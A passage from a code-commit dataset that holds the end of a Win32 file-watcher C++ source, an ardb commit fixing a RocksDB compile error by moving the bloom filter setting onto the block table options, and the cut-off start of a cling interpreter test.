&watch->Overlapped ) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tDWORD bytes;\r\n\r\n\t\t\t\t\t\tif ( GetOverlappedResult( watch->Watch->DirHandle, &watch->Overlapped, &bytes, FALSE ) )\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tWatchCallback( ERROR_SUCCESS, bytes, &watch->Overlapped );\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\/\/\"GetOverlappedResult failed.\"\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\/\/\"Unknown return value from WaitForMultipleObjectsEx.\"\r\n\t\t\t\t}\r\n\r\n\t\t\t\tmWatchesLock.unlock();\r\n\t\t\t}\r\n\t\t}\r\n\t} while ( mInitOK );\r\n}\r\n\r\nvoid FileWatcherWin32::handleAction(Watcher* watch, const std::string& filename, unsigned long action, std::string oldFilename)\r\n{\r\n\tAction fwAction;\r\n\r\n\tswitch(action)\r\n\t{\r\n\tcase FILE_ACTION_RENAMED_OLD_NAME:\r\n\t\twatch->OldFileName = filename;\r\n\t\treturn;\r\n\tcase FILE_ACTION_ADDED:\r\n\t\tfwAction = Actions::Add;\r\n\t\tbreak;\r\n\tcase FILE_ACTION_RENAMED_NEW_NAME:\r\n\t{\r\n\t\tfwAction = Actions::Moved;\r\n\r\n\t\tstd::string fpath( watch->Directory + filename );\r\n\r\n\t\t\/\/ Update the directory path\r\n\t\tif ( watch->Recursive && FileSystem::isDirectory( fpath ) )\r\n\t\t{\r\n\t\t\t\/\/ Update the new directory path\r\n\t\t\tstd::string opath( watch->Directory + watch->OldFileName );\r\n\t\t\tFileSystem::dirAddSlashAtEnd( opath );\r\n\t\t\tFileSystem::dirAddSlashAtEnd( fpath );\r\n\r\n\t\t\tfor ( WatchVector::iterator it = mWatches.begin(); it != mWatches.end(); it++ )\r\n\t\t\t{\r\n\t\t\t\tif ( (*it)->Watch->Directory == opath )\r\n\t\t\t\t{\r\n\t\t\t\t\t(*it)->Watch->Directory = fpath;\r\n\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\twatch->Listener->handleFileAction(watch->ID, static_cast<WatcherWin32*>( watch )->DirName, filename, fwAction, watch->OldFileName);\r\n\t\treturn;\r\n\t}\r\n\tcase FILE_ACTION_REMOVED:\r\n\t\tfwAction = Actions::Delete;\r\n\t\tbreak;\r\n\tcase FILE_ACTION_MODIFIED:\r\n\t\tfwAction = Actions::Modified;\r\n\t\tbreak;\r\n\t};\r\n\r\n\twatch->Listener->handleFileAction(watch->ID, static_cast<WatcherWin32*>( watch )->DirName, filename, fwAction);\r\n}\r\n\r\nstd::list<std::string> FileWatcherWin32::directories()\r\n{\r\n\tstd::list<std::string> dirs;\r\n\r\n\tmWatchesLock.lock();\r\n\r\n\tfor ( WatchVector::iterator it = mWatches.begin(); it != mWatches.end(); it++ )\r\n\t{\r\n\t\tdirs.push_back( std::string( (*it)->Watch->DirName ) );\r\n\t}\r\n\r\n\tmWatchesLock.unlock();\r\n\r\n\treturn dirs;\r\n}\r\n\r\nbool FileWatcherWin32::pathInWatches( const std::string& path )\r\n{\r\n\tfor ( WatchVector::iterator it = mWatches.begin(); it != mWatches.end(); it++ )\r\n\t{\r\n\t\tif ( (*it)->Watch->DirName == path )\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\r\n\treturn false;\r\n}\r\n\r\n}\r\n\r\n#endif\r\n<|endoftext|>"} {"text":"<commit_before>\/*\n *Copyright (c) 2013-2013, yinqiwen <yinqiwen@gmail.com>\n *All rights reserved.\n * \n *Redistribution and use in source and binary forms, with or without\n *modification, are permitted provided that the following conditions are met:\n * \n * * Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * * Neither the name of Redis nor the names of its contributors may be used\n * to endorse or promote products derived from this software without\n * specific prior written permission.\n * \n *THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n *AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n *IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n *ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS \n *BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n *CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n *SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n *INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n *CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n *ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF \n *THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"rocksdb_engine.hpp\"\n#include \"codec.hpp\"\n#include \"util\/helpers.hpp\"\n#include \"rocksdb\/env.h\"\n#include \"rocksdb\/rate_limiter.h\"\n#include \"rocksdb\/table.h\"\n#include <string.h>\n#include <stdarg.h>\n\n#define ROCKSDB_SLICE(slice) rocksdb::Slice(slice.data(), slice.size())\n#define ARDB_SLICE(slice) Slice(slice.data(), slice.size())\n\nnamespace ardb\n{\n class RocksDBLogger: public rocksdb::Logger\n {\n private:\n void Logv(const char* format, va_list ap)\n {\n char logbuf[1024];\n int len = vsnprintf(logbuf, sizeof(logbuf), format, ap);\n if(len < sizeof(logbuf))\n {\n INFO_LOG(logbuf);\n }\n }\n };\n\n int RocksDBComparator::Compare(const rocksdb::Slice& a, const rocksdb::Slice& b) const\n {\n return CommonComparator::Compare(a.data(), a.size(), b.data(), b.size());\n }\n\n void RocksDBComparator::FindShortestSeparator(std::string* start, const rocksdb::Slice& limit) const\n {\n }\n\n void RocksDBComparator::FindShortSuccessor(std::string* key) const\n {\n }\n\n RocksDBEngineFactory::RocksDBEngineFactory(const Properties& props)\n {\n ParseConfig(props, m_cfg);\n }\n\n void RocksDBEngineFactory::ParseConfig(const Properties& props, RocksDBConfig& cfg)\n {\n cfg.path = \".\";\n conf_get_string(props, \"data-dir\", cfg.path);\n conf_get_int64(props, \"rocksdb.block_cache_size\", cfg.block_cache_size);\n conf_get_int64(props, \"rocksdb.block_cache_compressed\", cfg.block_cache_compressed_size);\n conf_get_int64(props, \"rocksdb.write_buffer_size\", cfg.write_buffer_size);\n conf_get_int64(props, \"rocksdb.max_open_files\", cfg.max_open_files);\n conf_get_int64(props, \"rocksdb.block_size\", cfg.block_size);\n conf_get_int64(props, \"rocksdb.block_restart_interval\", cfg.block_restart_interval);\n conf_get_int64(props, \"rocksdb.bloom_bits\", cfg.bloom_bits);\n conf_get_int64(props, \"rocksdb.batch_commit_watermark\", cfg.batch_commit_watermark);\n conf_get_string(props, \"rocksdb.compression\", cfg.compression);\n conf_get_bool(props, \"rocksdb.logenable\", cfg.logenable);\n conf_get_bool(props, \"rocksdb.skip_log_error_on_recovery\", cfg.skip_log_error_on_recovery);\n conf_get_int64(props, \"rocksdb.flush_compact_rate_bytes_per_sec\", cfg.flush_compact_rate_bytes_per_sec);\n conf_get_double(props, \"rocksdb.hard_rate_limit\", cfg.hard_rate_limit);\n conf_get_bool(props, \"rocksdb.disableWAL\", cfg.disableWAL);\n conf_get_int64(props, \"rocksdb.max_manifest_file_size\", cfg.max_manifest_file_size);\n conf_get_string(props, \"rocksdb.compacton_style\", cfg.compacton_style);\n }\n\n KeyValueEngine* RocksDBEngineFactory::CreateDB(const std::string& name)\n {\n RocksDBEngine* engine = new RocksDBEngine();\n RocksDBConfig cfg = m_cfg;\n char tmp[cfg.path.size() + name.size() + 10];\n sprintf(tmp, \"%s\/%s\", cfg.path.c_str(), name.c_str());\n cfg.path = tmp;\n if (engine->Init(cfg) != 0)\n {\n DELETE(engine);\n ERROR_LOG(\"Failed to create DB:%s\", name.c_str());\n return NULL;\n }\n return engine;\n }\n void RocksDBEngineFactory::DestroyDB(KeyValueEngine* engine)\n {\n RocksDBEngine* RocksDB = (RocksDBEngine*) engine;\n std::string path = RocksDB->m_db_path;\n DELETE(engine);\n rocksdb::Options options;\n rocksdb::DestroyDB(path, options);\n }\n\n void RocksDBEngineFactory::CloseDB(KeyValueEngine* engine)\n {\n DELETE(engine);\n }\n void RocksDBIterator::SeekToFirst()\n {\n m_iter->SeekToFirst();\n }\n void RocksDBIterator::SeekToLast()\n {\n m_iter->SeekToLast();\n }\n void RocksDBIterator::Seek(const Slice& target)\n {\n m_iter->Seek(ROCKSDB_SLICE(target));\n }\n void RocksDBIterator::Next()\n {\n m_iter->Next();\n }\n void RocksDBIterator::Prev()\n {\n m_iter->Prev();\n }\n Slice RocksDBIterator::Key() const\n {\n return ARDB_SLICE(m_iter->key());\n }\n Slice RocksDBIterator::Value() const\n {\n return ARDB_SLICE(m_iter->value());\n }\n bool RocksDBIterator::Valid()\n {\n return m_iter->Valid();\n }\n\n RocksDBEngine::RocksDBEngine() :\n m_db(NULL)\n {\n\n }\n RocksDBEngine::~RocksDBEngine()\n {\n DELETE(m_db);\n }\n int RocksDBEngine::Init(const RocksDBConfig& cfg)\n {\n m_cfg = cfg;\n m_options.create_if_missing = true;\n m_options.comparator = &m_comparator;\n rocksdb::BlockBasedTableOptions block_options;\n if (cfg.block_cache_size > 0)\n {\n block_options.block_cache = rocksdb::NewLRUCache(cfg.block_cache_size);\n \/\/m_options.block_cache_compressed = rocksdb::NewLRUCache(cfg.block_cache_compressed_size);\n }else if(cfg.block_cache_size < 0)\n {\n block_options.no_block_cache = true;\n }\n if (cfg.block_size > 0)\n {\n block_options.block_size = cfg.block_size;\n }\n if (cfg.block_restart_interval > 0)\n {\n block_options.block_restart_interval = cfg.block_restart_interval;\n }\n m_options.table_factory.reset(rocksdb::NewBlockBasedTableFactory(block_options));\n\n if (cfg.write_buffer_size > 0)\n {\n m_options.write_buffer_size = cfg.write_buffer_size;\n }\n m_options.max_open_files = cfg.max_open_files;\n if (cfg.bloom_bits > 0)\n {\n block_options.filter_policy = rocksdb::NewBloomFilterPolicy(cfg.bloom_bits);\n }\n\n if (!strcasecmp(cfg.compression.c_str(), \"none\"))\n {\n m_options.compression = rocksdb::kNoCompression;\n }\n else\n {\n m_options.compression = rocksdb::kSnappyCompression;\n }\n if(cfg.flush_compact_rate_bytes_per_sec > 0)\n {\n m_options.rate_limiter.reset(rocksdb::NewGenericRateLimiter(cfg.flush_compact_rate_bytes_per_sec));\n }\n m_options.hard_rate_limit = cfg.hard_rate_limit;\n if(m_cfg.max_manifest_file_size > 0)\n {\n m_options.max_manifest_file_size = m_cfg.max_manifest_file_size;\n }\n if(!strcasecmp(m_cfg.compacton_style.c_str(), \"universal\"))\n {\n m_options.OptimizeUniversalStyleCompaction();\n }else\n {\n m_options.OptimizeLevelStyleCompaction();\n }\n m_options.IncreaseParallelism();\n\n if(cfg.logenable)\n {\n m_options.info_log.reset(new RocksDBLogger);\n }\n make_dir(cfg.path);\n m_db_path = cfg.path;\n rocksdb::Status status = rocksdb::DB::Open(m_options, cfg.path.c_str(), &m_db);\n do\n {\n if (status.ok())\n {\n break;\n }\n else if (status.IsCorruption())\n {\n ERROR_LOG(\"Failed to init engine:%s\", status.ToString().c_str());\n status = rocksdb::RepairDB(cfg.path.c_str(), m_options);\n if (!status.ok())\n {\n ERROR_LOG(\"Failed to repair:%s for %s\", cfg.path.c_str(), status.ToString().c_str());\n return -1;\n }\n status = rocksdb::DB::Open(m_options, cfg.path.c_str(), &m_db);\n }\n else\n {\n ERROR_LOG(\"Failed to init engine:%s\", status.ToString().c_str());\n break;\n }\n } while (1);\n return status.ok() ? 0 : -1;\n }\n\n int RocksDBEngine::BeginBatchWrite()\n {\n m_context.GetValue().AddRef();\n return 0;\n }\n int RocksDBEngine::CommitBatchWrite()\n {\n ContextHolder& holder = m_context.GetValue();\n holder.ReleaseRef();\n if (holder.EmptyRef())\n {\n return FlushWriteBatch(holder);\n }\n return 0;\n }\n int RocksDBEngine::DiscardBatchWrite()\n {\n ContextHolder& holder = m_context.GetValue();\n holder.ReleaseRef();\n holder.Clear();\n return 0;\n }\n\n int RocksDBEngine::FlushWriteBatch(ContextHolder& holder)\n {\n rocksdb::WriteOptions options;\n options.disableWAL = m_cfg.disableWAL;\n rocksdb::Status s = m_db->Write(options, &holder.batch);\n holder.Clear();\n return s.ok() ? 0 : -1;\n }\n\n void RocksDBEngine::CompactRange(const Slice& begin, const Slice& end)\n {\n rocksdb::Slice s(begin.data(), begin.size());\n rocksdb::Slice e(end.data(), end.size());\n rocksdb::Slice* start = s.size() > 0 ? &s : NULL;\n rocksdb::Slice* endpos = e.size() > 0 ? &e : NULL;\n m_db->CompactRange(start, endpos);\n }\n\n void RocksDBEngine::ContextHolder::Put(const Slice& key, const Slice& value)\n {\n batch.Put(ROCKSDB_SLICE(key), ROCKSDB_SLICE(value));\n count++;\n }\n void RocksDBEngine::ContextHolder::Del(const Slice& key)\n {\n batch.Delete(ROCKSDB_SLICE(key));\n count++;\n }\n\n int RocksDBEngine::Put(const Slice& key, const Slice& value, const Options& options)\n {\n rocksdb::Status s = rocksdb::Status::OK();\n ContextHolder& holder = m_context.GetValue();\n if (!holder.EmptyRef())\n {\n holder.Put(key, value);\n if (holder.count >= (uint32) m_cfg.batch_commit_watermark)\n {\n FlushWriteBatch(holder);\n }\n }\n else\n {\n rocksdb::WriteOptions options;\n options.disableWAL = m_cfg.disableWAL;\n s = m_db->Put(options, ROCKSDB_SLICE(key), ROCKSDB_SLICE(value));\n }\n return s.ok() ? 0 : -1;\n }\n int RocksDBEngine::Get(const Slice& key, std::string* value, const Options& options)\n {\n rocksdb::ReadOptions read_options;\n read_options.fill_cache = options.read_fill_cache;\n read_options.verify_checksums = false;\n ContextHolder& holder = m_context.GetValue();\n read_options.snapshot = holder.snapshot;\n rocksdb::Status s = m_db->Get(read_options, ROCKSDB_SLICE(key), value);\n return s.ok() ? 0 : -1;\n }\n int RocksDBEngine::Del(const Slice& key, const Options& options)\n {\n rocksdb::Status s = rocksdb::Status::OK();\n ContextHolder& holder = m_context.GetValue();\n if (!holder.EmptyRef())\n {\n holder.Del(key);\n if (holder.count >= (uint32) m_cfg.batch_commit_watermark)\n {\n FlushWriteBatch(holder);\n }\n }\n else\n {\n s = m_db->Delete(rocksdb::WriteOptions(), ROCKSDB_SLICE(key));\n }\n return s.ok() ? 0 : -1;\n }\n\n Iterator* RocksDBEngine::Find(const Slice& findkey, const Options& options)\n {\n rocksdb::ReadOptions read_options;\n read_options.fill_cache = options.seek_fill_cache;\n ContextHolder& holder = m_context.GetValue();\n if (NULL == holder.snapshot)\n {\n holder.snapshot = m_db->GetSnapshot();\n }\n holder.snapshot_ref++;\n read_options.snapshot = holder.snapshot;\n rocksdb::Iterator* iter = m_db->NewIterator(read_options);\n iter->Seek(ROCKSDB_SLICE(findkey));\n return new RocksDBIterator(this, iter);\n }\n\n void RocksDBEngine::ReleaseContextSnapshot()\n {\n ContextHolder& holder = m_context.GetValue();\n if (NULL != holder.snapshot)\n {\n holder.snapshot_ref--;\n if (holder.snapshot_ref == 0)\n {\n m_db->ReleaseSnapshot(holder.snapshot);\n holder.snapshot = NULL;\n }\n }\n }\n\n const std::string RocksDBEngine::Stats()\n {\n std::string str, version_info;\n\n m_db->GetProperty(\"rocksdb.stats\", &str);\n std::string numkeys;\n m_db->GetProperty(\"rocksdb.estimate-num-keys\", &numkeys);\n numkeys = \"estimate-num-keys: \" + numkeys + \"\\r\\n\";\n version_info.append(\"RocksDB version:\").append(stringfromll(rocksdb::kMajorVersion)).append(\".\").append(\n stringfromll(rocksdb::kMinorVersion)).append(\".\").append(stringfromll(ROCKSDB_PATCH)).append(\"\\r\\n\");\n return version_info + numkeys + str;\n }\n\n int RocksDBEngine::MaxOpenFiles()\n {\n return m_options.max_open_files;\n }\n\n RocksDBIterator::~RocksDBIterator()\n {\n delete m_iter;\n m_engine->ReleaseContextSnapshot();\n }\n\n}\n\n<commit_msg>fix compile error wirh rocksdb<commit_after>\/*\n *Copyright (c) 2013-2013, yinqiwen <yinqiwen@gmail.com>\n *All rights reserved.\n * \n *Redistribution and use in source and binary forms, with or without\n *modification, are permitted provided that the following conditions are met:\n * \n * * Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * * Neither the name of Redis nor the names of its contributors may be used\n * to endorse or promote products derived from this software without\n * specific prior written permission.\n * \n *THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n *AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n *IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n *ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS \n *BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n *CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n *SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n *INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n *CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n *ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF \n *THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"rocksdb_engine.hpp\"\n#include \"codec.hpp\"\n#include \"util\/helpers.hpp\"\n#include \"rocksdb\/env.h\"\n#include \"rocksdb\/rate_limiter.h\"\n#include \"rocksdb\/table.h\"\n#include <string.h>\n#include <stdarg.h>\n\n#define ROCKSDB_SLICE(slice) rocksdb::Slice(slice.data(), slice.size())\n#define ARDB_SLICE(slice) Slice(slice.data(), slice.size())\n\nnamespace ardb\n{\n class RocksDBLogger: public rocksdb::Logger\n {\n private:\n void Logv(const char* format, va_list ap)\n {\n char logbuf[1024];\n int len = vsnprintf(logbuf, sizeof(logbuf), format, ap);\n if(len < sizeof(logbuf))\n {\n INFO_LOG(logbuf);\n }\n }\n };\n\n int RocksDBComparator::Compare(const rocksdb::Slice& a, const rocksdb::Slice& b) const\n {\n return CommonComparator::Compare(a.data(), a.size(), b.data(), b.size());\n }\n\n void RocksDBComparator::FindShortestSeparator(std::string* start, const rocksdb::Slice& limit) const\n {\n }\n\n void RocksDBComparator::FindShortSuccessor(std::string* key) const\n {\n }\n\n RocksDBEngineFactory::RocksDBEngineFactory(const Properties& props)\n {\n ParseConfig(props, m_cfg);\n }\n\n void RocksDBEngineFactory::ParseConfig(const Properties& props, RocksDBConfig& cfg)\n {\n cfg.path = \".\";\n conf_get_string(props, \"data-dir\", cfg.path);\n conf_get_int64(props, \"rocksdb.block_cache_size\", cfg.block_cache_size);\n conf_get_int64(props, \"rocksdb.block_cache_compressed\", cfg.block_cache_compressed_size);\n conf_get_int64(props, \"rocksdb.write_buffer_size\", cfg.write_buffer_size);\n conf_get_int64(props, \"rocksdb.max_open_files\", cfg.max_open_files);\n conf_get_int64(props, \"rocksdb.block_size\", cfg.block_size);\n conf_get_int64(props, \"rocksdb.block_restart_interval\", cfg.block_restart_interval);\n conf_get_int64(props, \"rocksdb.bloom_bits\", cfg.bloom_bits);\n conf_get_int64(props, \"rocksdb.batch_commit_watermark\", cfg.batch_commit_watermark);\n conf_get_string(props, \"rocksdb.compression\", cfg.compression);\n conf_get_bool(props, \"rocksdb.logenable\", cfg.logenable);\n conf_get_bool(props, \"rocksdb.skip_log_error_on_recovery\", cfg.skip_log_error_on_recovery);\n conf_get_int64(props, \"rocksdb.flush_compact_rate_bytes_per_sec\", cfg.flush_compact_rate_bytes_per_sec);\n conf_get_double(props, \"rocksdb.hard_rate_limit\", cfg.hard_rate_limit);\n conf_get_bool(props, \"rocksdb.disableWAL\", cfg.disableWAL);\n conf_get_int64(props, \"rocksdb.max_manifest_file_size\", cfg.max_manifest_file_size);\n conf_get_string(props, \"rocksdb.compacton_style\", cfg.compacton_style);\n }\n\n KeyValueEngine* RocksDBEngineFactory::CreateDB(const std::string& name)\n {\n RocksDBEngine* engine = new RocksDBEngine();\n RocksDBConfig cfg = m_cfg;\n char tmp[cfg.path.size() + name.size() + 10];\n sprintf(tmp, \"%s\/%s\", cfg.path.c_str(), name.c_str());\n cfg.path = tmp;\n if (engine->Init(cfg) != 0)\n {\n DELETE(engine);\n ERROR_LOG(\"Failed to create DB:%s\", name.c_str());\n return NULL;\n }\n return engine;\n }\n void RocksDBEngineFactory::DestroyDB(KeyValueEngine* engine)\n {\n RocksDBEngine* RocksDB = (RocksDBEngine*) engine;\n std::string path = RocksDB->m_db_path;\n DELETE(engine);\n rocksdb::Options options;\n rocksdb::DestroyDB(path, options);\n }\n\n void RocksDBEngineFactory::CloseDB(KeyValueEngine* engine)\n {\n DELETE(engine);\n }\n void RocksDBIterator::SeekToFirst()\n {\n m_iter->SeekToFirst();\n }\n void RocksDBIterator::SeekToLast()\n {\n m_iter->SeekToLast();\n }\n void RocksDBIterator::Seek(const Slice& target)\n {\n m_iter->Seek(ROCKSDB_SLICE(target));\n }\n void RocksDBIterator::Next()\n {\n m_iter->Next();\n }\n void RocksDBIterator::Prev()\n {\n m_iter->Prev();\n }\n Slice RocksDBIterator::Key() const\n {\n return ARDB_SLICE(m_iter->key());\n }\n Slice RocksDBIterator::Value() const\n {\n return ARDB_SLICE(m_iter->value());\n }\n bool RocksDBIterator::Valid()\n {\n return m_iter->Valid();\n }\n\n RocksDBEngine::RocksDBEngine() :\n m_db(NULL)\n {\n\n }\n RocksDBEngine::~RocksDBEngine()\n {\n DELETE(m_db);\n }\n int RocksDBEngine::Init(const RocksDBConfig& cfg)\n {\n m_cfg = cfg;\n m_options.create_if_missing = true;\n m_options.comparator = &m_comparator;\n rocksdb::BlockBasedTableOptions block_options;\n if (cfg.block_cache_size > 0)\n {\n block_options.block_cache = rocksdb::NewLRUCache(cfg.block_cache_size);\n \/\/m_options.block_cache_compressed = rocksdb::NewLRUCache(cfg.block_cache_compressed_size);\n }else if(cfg.block_cache_size < 0)\n {\n block_options.no_block_cache = true;\n }\n if (cfg.block_size > 0)\n {\n block_options.block_size = cfg.block_size;\n }\n if (cfg.block_restart_interval > 0)\n {\n block_options.block_restart_interval = cfg.block_restart_interval;\n }\n if (cfg.bloom_bits > 0)\n {\n block_options.filter_policy.reset(rocksdb::NewBloomFilterPolicy(cfg.bloom_bits));\n }\n m_options.table_factory.reset(rocksdb::NewBlockBasedTableFactory(block_options));\n\n if (cfg.write_buffer_size > 0)\n {\n m_options.write_buffer_size = cfg.write_buffer_size;\n }\n m_options.max_open_files = cfg.max_open_files;\n\n if (!strcasecmp(cfg.compression.c_str(), \"none\"))\n {\n m_options.compression = rocksdb::kNoCompression;\n }\n else\n {\n m_options.compression = rocksdb::kSnappyCompression;\n }\n if(cfg.flush_compact_rate_bytes_per_sec > 0)\n {\n m_options.rate_limiter.reset(rocksdb::NewGenericRateLimiter(cfg.flush_compact_rate_bytes_per_sec));\n }\n m_options.hard_rate_limit = cfg.hard_rate_limit;\n if(m_cfg.max_manifest_file_size > 0)\n {\n m_options.max_manifest_file_size = m_cfg.max_manifest_file_size;\n }\n if(!strcasecmp(m_cfg.compacton_style.c_str(), \"universal\"))\n {\n m_options.OptimizeUniversalStyleCompaction();\n }else\n {\n m_options.OptimizeLevelStyleCompaction();\n }\n m_options.IncreaseParallelism();\n\n if(cfg.logenable)\n {\n m_options.info_log.reset(new RocksDBLogger);\n }\n make_dir(cfg.path);\n m_db_path = cfg.path;\n rocksdb::Status status = rocksdb::DB::Open(m_options, cfg.path.c_str(), &m_db);\n do\n {\n if (status.ok())\n {\n break;\n }\n else if (status.IsCorruption())\n {\n ERROR_LOG(\"Failed to init engine:%s\", status.ToString().c_str());\n status = rocksdb::RepairDB(cfg.path.c_str(), m_options);\n if (!status.ok())\n {\n ERROR_LOG(\"Failed to repair:%s for %s\", cfg.path.c_str(), status.ToString().c_str());\n return -1;\n }\n status = rocksdb::DB::Open(m_options, cfg.path.c_str(), &m_db);\n }\n else\n {\n ERROR_LOG(\"Failed to init engine:%s\", status.ToString().c_str());\n break;\n }\n } while (1);\n return status.ok() ? 0 : -1;\n }\n\n int RocksDBEngine::BeginBatchWrite()\n {\n m_context.GetValue().AddRef();\n return 0;\n }\n int RocksDBEngine::CommitBatchWrite()\n {\n ContextHolder& holder = m_context.GetValue();\n holder.ReleaseRef();\n if (holder.EmptyRef())\n {\n return FlushWriteBatch(holder);\n }\n return 0;\n }\n int RocksDBEngine::DiscardBatchWrite()\n {\n ContextHolder& holder = m_context.GetValue();\n holder.ReleaseRef();\n holder.Clear();\n return 0;\n }\n\n int RocksDBEngine::FlushWriteBatch(ContextHolder& holder)\n {\n rocksdb::WriteOptions options;\n options.disableWAL = m_cfg.disableWAL;\n rocksdb::Status s = m_db->Write(options, &holder.batch);\n holder.Clear();\n return s.ok() ? 0 : -1;\n }\n\n void RocksDBEngine::CompactRange(const Slice& begin, const Slice& end)\n {\n rocksdb::Slice s(begin.data(), begin.size());\n rocksdb::Slice e(end.data(), end.size());\n rocksdb::Slice* start = s.size() > 0 ? &s : NULL;\n rocksdb::Slice* endpos = e.size() > 0 ? &e : NULL;\n m_db->CompactRange(start, endpos);\n }\n\n void RocksDBEngine::ContextHolder::Put(const Slice& key, const Slice& value)\n {\n batch.Put(ROCKSDB_SLICE(key), ROCKSDB_SLICE(value));\n count++;\n }\n void RocksDBEngine::ContextHolder::Del(const Slice& key)\n {\n batch.Delete(ROCKSDB_SLICE(key));\n count++;\n }\n\n int RocksDBEngine::Put(const Slice& key, const Slice& value, const Options& options)\n {\n rocksdb::Status s = rocksdb::Status::OK();\n ContextHolder& holder = m_context.GetValue();\n if (!holder.EmptyRef())\n {\n holder.Put(key, value);\n if (holder.count >= (uint32) m_cfg.batch_commit_watermark)\n {\n FlushWriteBatch(holder);\n }\n }\n else\n {\n rocksdb::WriteOptions options;\n options.disableWAL = m_cfg.disableWAL;\n s = m_db->Put(options, ROCKSDB_SLICE(key), ROCKSDB_SLICE(value));\n }\n return s.ok() ? 0 : -1;\n }\n int RocksDBEngine::Get(const Slice& key, std::string* value, const Options& options)\n {\n rocksdb::ReadOptions read_options;\n read_options.fill_cache = options.read_fill_cache;\n read_options.verify_checksums = false;\n ContextHolder& holder = m_context.GetValue();\n read_options.snapshot = holder.snapshot;\n rocksdb::Status s = m_db->Get(read_options, ROCKSDB_SLICE(key), value);\n return s.ok() ? 0 : -1;\n }\n int RocksDBEngine::Del(const Slice& key, const Options& options)\n {\n rocksdb::Status s = rocksdb::Status::OK();\n ContextHolder& holder = m_context.GetValue();\n if (!holder.EmptyRef())\n {\n holder.Del(key);\n if (holder.count >= (uint32) m_cfg.batch_commit_watermark)\n {\n FlushWriteBatch(holder);\n }\n }\n else\n {\n s = m_db->Delete(rocksdb::WriteOptions(), ROCKSDB_SLICE(key));\n }\n return s.ok() ? 0 : -1;\n }\n\n Iterator* RocksDBEngine::Find(const Slice& findkey, const Options& options)\n {\n rocksdb::ReadOptions read_options;\n read_options.fill_cache = options.seek_fill_cache;\n ContextHolder& holder = m_context.GetValue();\n if (NULL == holder.snapshot)\n {\n holder.snapshot = m_db->GetSnapshot();\n }\n holder.snapshot_ref++;\n read_options.snapshot = holder.snapshot;\n rocksdb::Iterator* iter = m_db->NewIterator(read_options);\n iter->Seek(ROCKSDB_SLICE(findkey));\n return new RocksDBIterator(this, iter);\n }\n\n void RocksDBEngine::ReleaseContextSnapshot()\n {\n ContextHolder& holder = m_context.GetValue();\n if (NULL != holder.snapshot)\n {\n holder.snapshot_ref--;\n if (holder.snapshot_ref == 0)\n {\n m_db->ReleaseSnapshot(holder.snapshot);\n holder.snapshot = NULL;\n }\n }\n }\n\n const std::string RocksDBEngine::Stats()\n {\n std::string str, version_info;\n\n m_db->GetProperty(\"rocksdb.stats\", &str);\n std::string numkeys;\n m_db->GetProperty(\"rocksdb.estimate-num-keys\", &numkeys);\n numkeys = \"estimate-num-keys: \" + numkeys + \"\\r\\n\";\n version_info.append(\"RocksDB version:\").append(stringfromll(rocksdb::kMajorVersion)).append(\".\").append(\n stringfromll(rocksdb::kMinorVersion)).append(\".\").append(stringfromll(ROCKSDB_PATCH)).append(\"\\r\\n\");\n return version_info + numkeys + str;\n }\n\n int RocksDBEngine::MaxOpenFiles()\n {\n return m_options.max_open_files;\n }\n\n RocksDBIterator::~RocksDBIterator()\n {\n delete m_iter;\n m_engine->ReleaseContextSnapshot();\n }\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ RUN: cat %s | %cling | FileCheck %s\n\n\/\/ This test makes sure the interpreter doesn't create many useless empty\n\/\/ transactions.\n\n\/\/ Author: Vassil Vassilev\n\n#include \"cling\/Interpreter\/Interpreter.h\"\n#include 